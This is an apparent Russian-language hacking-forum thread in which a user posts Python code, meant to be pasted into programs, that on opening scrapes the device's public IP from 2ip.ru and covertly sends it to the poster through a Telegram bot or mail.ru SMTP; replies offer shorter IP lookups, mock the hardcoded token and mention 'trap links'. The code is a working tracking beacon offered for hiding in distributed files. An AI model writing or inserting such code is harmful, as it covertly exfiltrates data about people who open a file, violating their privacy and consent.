ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Python (https://forum.antichat.xyz/forumdisplay.php?f=205)
-   -   Парсер IP (https://forum.antichat.xyz/showthread.php?t=1387333)

ivankaspersky 08.05.2021 22:23

Возможно кому-то полезная штука, которую можно будет вставить в ваш код.

Суть в том, что когда будет открыт файл, вам на почту, либо в телеграм придёт IP устройства с которого был открыт файл.

В случае с телеграмом будем использовать 3 библиотеки.

bs4

telebot

requests

ПЕРЕД НАПИСАНИЕМ/ИСПОЛЬЗОВАНИЕМ ОБЯЗАТЕЛЬНО СОЗДАЙТЕ ЧАТ С БОТОМ, КОТОРОГО ВЫ СОЗДАЛИ.


telegram-v:





Код:

import
requests
import
telebot
from
bs4
import
BeautifulSoup

TOKEN
=
'Токен вашего бота'
bot
=
telebot
.
TeleBot
(
TOKEN
)
def
getip
(
)
:
url
=
'https://2ip.ru/'
#делаем запрос
response
=
requests
.
get
(
url
)
soup
=
BeautifulSoup
(
response
.
text
,
'lxml'
)
#ищем класс ip
ipget
=
soup
.
find
(
class_
=
'ip'
)
#в этом классе ищем содержимое тэга span
ip
=
ipget
.
find
(
'span'
)
.
text
    realip
=
ip
return
realip
#возвращаем полученный ip
realip
=
getip
(
)
bot
.
send_message
(
ВАШ USER ID ТЕЛЕГРАМА
(
узнать
-
@getmyid_bot
)
,
f'Зафиксировано новое открытие.\nIP -{realip}\n(данные с 2ip.ru)'
)



В случае с почтой:

Вам потребуется создать почту, на которую будет приходить адрес, и почту с которой будет отправлен адрес.​

mail-v:





Код:

import
requests
import
smtplib
from
bs4
import
BeautifulSoup
from
email
.
mime
.
multipart
import
MIMEMultipart
from
email
.
mime
.
text
import
MIMEText
def
getip
(
)
:
url
=
'https://2ip.ru/'
#make a request
response
=
requests
.
get
(
url
)
#make a soup
soup
=
BeautifulSoup
(
response
.
text
,
'lxml'
)
#find class 'ip'
ipget
=
soup
.
find
(
class_
=
'ip'
)
ip
=
ipget
.
find
(
'span'
)
.
text
    realip
=
ip
return
realip
#result getip from 2ip
realip
=
getip
(
)
addr_from
=
"***@mail.ru"
#почта, с которой будет слаться IP(обязательно mail. Можно и другую, но код будет немного другой.)
addr_to
=
"***@***.***"
#куда будет приходить
password
=
"***"
#пароль от почты, с которой будет слаться IP
#made message
msg
=
MIMEMultipart
(
)
msg
[
'From'
]
=
addr_from
msg
[
'To'
]
=
addr_to
msg
[
'Subject'
]
=
'New IP'
#вместо New IP можете указать что угодно, это тема сообщения.
#body of message
body
=
realip
msg
.
attach
(
MIMEText
(
body
,
'plain'
)
)
server
=
smtplib
.
SMTP
(
'smtp.mail.ru'
,
587
)
server
.
starttls
(
)
server
.
login
(
addr_from
,
password
)
server
.
send_message
(
msg
)




https://forum.antichat.xyz/attachmen...be49461090.png

https://forum.antichat.xyz/attachmen...6bab61c1e9.png

Вы можете выставить это в ваш код на питоне. Можно так же спарсить данные с сервиса WHOIS, получить от туда город и страну, но это вы уже сами)

Если вылезают ошибки - пишите, помогу.

ivankaspersky 08.05.2021 22:25

Винда блокирует, не знаю почему.

yNJ_dUNzl5c.jpgivankaspersky · 8 Май 2021 в 21:25' data-fancybox="lb-post-738171" data-lb-caption-extra-html="" data-lb-sidebar-href="" data-single-image="1" data-src="https://www.blast.hk/attachments/96360/" style="cursor: pointer;" title="yNJ_dUNzl5c.jpg">
https://forum.antichat.xyz/attachmen...a656c2255a.png

MaksQ 08.05.2021 22:30

Быстрее будет

Python:





Код:

import
requests

requests
.
get
(
'https://ramziv.com/ip'
)
.
text



Python:





Код:

import
requests
import
json

ip
=
requests
.
get
(
'https://api.myip.com/'
)
.
text
r
=
json
.
loads
(
ip
)
print
(
r
[
'ip'
]
)


ivankaspersky 08.05.2021 22:37

Цитата:

Сообщение от MaksQ

Python:





Код:

import
requests

requests
.
get
(
'https://ramziv.com/ip'
)
.
text



Этот сайт впервые вижу.

Fott 08.05.2021 22:40

И опять ж таки - токен прямо в скрипте. Гениально.

ivankaspersky 08.05.2021 22:55

Цитата:

Сообщение от Remote user 335463

И опять ж таки - токен прямо в скрипте. Гениально.

Кому нужно - перекинет в конфиг

Fott 08.05.2021 22:56

Цитата:

Сообщение от IvanKaspersky

Кому нужно - перекинет в конфиг

А что, поможет? Я веду к тому что ты светишь токеном в открытую

lovandog 08.05.2021 22:57

разве не проще на самом 2ip.ru сгенерировать ссылку-ловушку и через нее?

ivankaspersky 08.05.2021 23:01

Цитата:

Сообщение от lovandog

разве не проще на самом 2ip.ru сгенерировать ссылку-ловушку и через нее?

Я как-то раз пытался сделать такую штуку года 2 назад, она не работала и я забил хер. Мой вариант подходит для компилируемых программ.

ivankaspersky 08.05.2021 23:03

Цитата:

Сообщение от Remote user 335463

А что, поможет? Я веду к тому что ты светишь токеном в открытую

Поскольку я новичок, я хз как его можно не светить)


Время: 15:04